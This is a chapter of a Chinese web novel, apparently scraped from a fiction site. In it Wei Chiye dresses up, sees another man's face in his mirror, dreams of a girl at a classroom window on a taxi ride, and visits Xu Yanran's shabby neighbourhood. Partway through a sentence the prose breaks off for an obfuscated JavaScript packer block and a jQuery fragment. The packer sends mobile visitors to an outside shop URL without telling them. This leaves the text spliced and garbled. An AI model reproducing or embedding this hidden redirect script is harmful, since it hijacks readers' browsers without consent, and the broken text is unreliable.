穿上马丁靴,稍显拖沓,看上去有点像路边洗车的。
换上板鞋,清爽了一些,只是不太能撑起来衣服和鞋子。
没什么时间了,鞋就这样吧。他看了一番架子上成排的球鞋和运动鞋,微微皱起了眉头。
那些一度让他极其着迷的运动系列风格的鞋子,不知为何,现在却突然都无法入眼。那在鞋面上各处大做文章的图样,现在看来好像都没什么意义了。
有钱有地位的人谁穿这个。
……不对,他现在没钱也没地位。
蔚迟野瘪瘪嘴,视线回到全身镜上,看着镜子中的这个自己。
十八岁左右的脸,干净整洁的衣着。看似不经意的暗红纹路自下而上包裹着全身,就像是构成他生命的脉络一样。
勉勉强强。这是他最终的评价。
“已经尽力了。蔚迟野,你的审美也就这样吧。”他自讽地说道。
最后一步,再弄弄头发。
要找顶帽子吗?家里有没有耳饰来着……
蔚迟野向自己的脑后抓去,习惯性地一拢,然而,手下却抓了个空。
他狐疑,回头往身后看去,下意识道:“我头发呢?”
背后空空荡荡的,一根发丝也没有。
“……嗯?”他还没有反应过来,于是朝镜子里的自己看去。
但是,在看到镜中人的时候,他愣住了。
那是一张二十多岁的脸,黑色的束尾长发,灰色的眼睛。男人抱着胸,正以一个冷淡的目光盯着自己,嘴笑上扬,笑容却是诡谲的。
他张口,甚至连声音都是那个人的音色。
“你哪有什么长发啊,蔚迟野。”
被叫到名字的人一惊,连连往后退去,一脚踩在了地上堆积的衣物中,被那些乱七八糟的布料绊倒,一屁股摔在了地上。
他晃了晃脑袋,再凝神,往镜子里看去,里面的人又变成了蔚迟野的模样,短发,黑眼睛,十八岁左右的样貌,一个规规矩矩的准大学生——如果他有学可上的话——除此以外没什么特别。
蔚迟野盯着镜子中的自己,脸色有些苍白。
那是什么?究竟是自己脑海里的幻觉,还是……?
突然,手机响起提示声,他回过神来,从地上爬起来,捡起床上的手机,盯着屏幕,看到了许嫣然的消息。
——我做了些吃的,你好久没有吃过我做东西了吧?
糟了,几点了?他好像耽误太长时间了。
蔚迟野赶忙对着镜子简单整理了一番仪容,捞上手机,冲出了房间。
从楼梯下到了一层,跑出大门,在手机上叫了辆车。他可不想烦请那爱抽烟的司机,对方毕竟是父亲雇佣的人,蔚迟野要是上了他的车,动向就会一五一十被蔚统知道。这种事还是免了吧。
叫的车到了,他坐上副驾驶,指明了目的地,汽车载着他出发了。
一路上,蔚迟野看着外面的景色。现代化的城市,刻意栽培的绿化带,盯着这些,他总有种恍如隔世的感觉。
在那样一个冰天雪地的世界里待得太久,当下,看到绿植,不禁心情舒畅。
果然,世界还是得有点颜色。再怎么喜欢雪、喜欢冬天,总是看着那一望无尽的白色大地,也难免感觉厌倦。
蔚迟野的心情渐渐好了起来,不光是因为外面的景色,也是因为,马上,他就要见到许久未见的人了。
他渐渐回忆起来,曾经的自己似乎认为许嫣然身上有一种神奇的魔力。那些刻苦读书的日子里,蔚迟野只要见到了她,就会感到一种充实感。那是被需要的感觉,在这个庞大的世界上,有这么一个人需要他,这让他感觉十分不错。
他坐在副驾驶,把座椅靠背向后调整,慵懒地躺下去。
车子在颠簸,在温暖阳光的爱抚下,他渐渐闭上眼睛。
窗户开着,耳边是暖风吹过的声响,在这一片宜人的氛围中,他昏昏沉沉地睡了过去。
梦里,出现了一个女孩的身影。
她在窗户外面,追逐着跃动的带有翅膀的昆虫。
而自己的视线从窗户里面投望而去,凝望着那个小小的背影。
女孩捉住了那只昆虫,跑到窗户前面,拿给他看。蔚迟野看不清她的脸,只是有一种熟悉的感觉。那只可怜的昆虫被女孩贴在玻璃上,它挣动着几条腿,像是想要从柔嫩的手指下挣脱出来。
女孩在说着什么,但是蔚迟野听不见。她阳光似的笑容映入眼帘,玻璃上发出咚咚的声音,那是她在用指节敲击。
“我听不见……”他对外面的女孩说。
“咳咳。”
一阵咳嗽声唤起他的注意,蔚迟野往室内看去,一个教师模样的人站在台前,手里端着一本书,模样算不上严厉,仔细看还有些温和,“集中注意。”
蔚迟野将目光转回教室,但心不在焉。
窗户旁边依然站着那个女孩的身影,而敲击玻璃的声音还在响起。
教师在讲些什么,蔚迟野完全听不进去。他有种不知何起感觉,必须瞒着老师,和那女孩说些什么,或者,向她传递些什么,那就是他现在最为重要的使命。
蔚迟野伸出了一只手,掌心覆盖在玻璃上,微凉的刺痛传来,他没有挪开。余光里,女孩笑着,也把自己的手贴在玻璃上,欢欣雀跃地说着些什么。蔚迟野还是听不见,但是,一种奇怪的满足感在他的心底里升起。
女孩知道他的意思,他们心有灵犀。
一种命中注定的澎湃之感荡漾开来,顿时,他感觉内心的悸动十分强烈。
好像他终于能停下惴惴不安的搜寻,终于不用在大地上浪迹,终于找到了一个避风港,在这里,他的灵魂得以安息,生命已经圆满,再也不用像这个世界上那些苦苦搜寻的可怜人一样徘徊。
他已经抵达了完美的终极,那令他激动不已。
那覆盖在结霜玻璃上的手掌,似乎能够感受到对面传来的温热。
而就是在那样温暖的感觉中,蔚迟野缓缓地醒了过来。
一种还未消散的悸动仍然停留在他的身体里,那种他可以不必在凡世奔波的信号,还未从他的脑海里淡去。
只是,当他终于睁开
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273394|127433||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了眼睛,看向窗外的景色,发现人工栽培的树木在飞速地往后退,外面没有雪,没有一个捕捉昆虫的女孩,而离他距离最近的人,只是一个沉默寡言的司机。
那奔?的雀跃在身体里冷却,他尽力回忆梦里的场景,试图抓住那种欣然情绪的尾巴。
窗外的那个人是谁?那个让他感觉到被选中了的人,让他感觉找到了归宿的人,让他心情平静、仿佛超脱于整个世界的人,是谁?
他尝试回想许嫣然的脸庞,将她们重叠在一起。只是,像有什么斥力一般,两个影子又蓦然分开了。
许嫣然没有那么好的体力,可以在寒冷的天气中蹦蹦跳跳。也没有胆量,去捉一只模样怪异的昆虫。
不过,那只是梦罢了。蔚迟野对自己说。
梦自然有它的局限性,所以会和现实产生一些小小的误差。
那个窗外的人,怎么想,都是曾与自己形影不离的许嫣然。
车辆又行驶了一阵子,最终到达了一个小区,在一条没有树木的街道上停了下来。
“到了。”司机侧过头来说。
蔚迟野下车后,一股难闻的味道钻入他的鼻翼。他往一旁看去,在道路旁边发现了一个垃圾站,大大小小的口袋堆在一起,蝇虫肆虐,看样子垃圾车今天还没有来过。
他捂住口鼻,往小区的深处走去。
这个小区十分的破旧,外围没有隔离的墙或围栏,更别说小区门卫。地面坑坑洼洼,像是经历过许多次雨水的冲刷,却未能得到过复原;破破烂烂的小轿车停在院子里,彼此之间各挡各的路,没有章法规矩,似乎也没有人来管理楼下的公共空间,只是任凭它继续败坏下去;每家每户的玻璃窗突兀地冲着外界,未经一点装修或点缀,仿佛只是为了开一扇窗而凿一面墙;时不时有野狗在阴暗的角落抬起头来,盯着每一个经过的路人。
蔚迟野凭借记忆来到了许嫣然的单元楼下,他抬头望去,只见家家户户的窗户外面都挂着几根晾衣线,那些错综复杂的线路交叉在头顶,让人分不清哪个属于谁家。
他走进了那栋楼里面。楼梯有些泛黑,那是人们长时间生活留下的痕迹。楼里没有电梯,而许嫣然家在四层,他只能一层层爬上去。
到了家门口,他再次理了理头发,敲了几下屋门,听见里面有人喊:“来了!”
脚步声逐渐走近。房门打开,露出头来的,是一个满脸笑容的中年女人,“迟野来了呀,快进来!”
女人是许嫣然的母亲,冯姨。她们母女俩住在一起,许嫣然的父亲在外地工作,经常不回来。
关于他们家里人的关系,蔚迟野略知一二。似乎当年夫妻二人是奉子成婚,许嫣然的父亲自从生下她后,就一直以赚钱的名义在外地奔波,只是偶尔回来,指点一下许嫣然的个人发展。
比如这次大学选校就有她父亲的参与。但也仅仅如此,她成长的大部分过程中没有他,他只出现在他认为重要的时间点。
蔚迟野从来没有问过许嫣然对她父亲的看法,每家都有每家的忧愁。
每个人都有伤疤,她有,自己也有。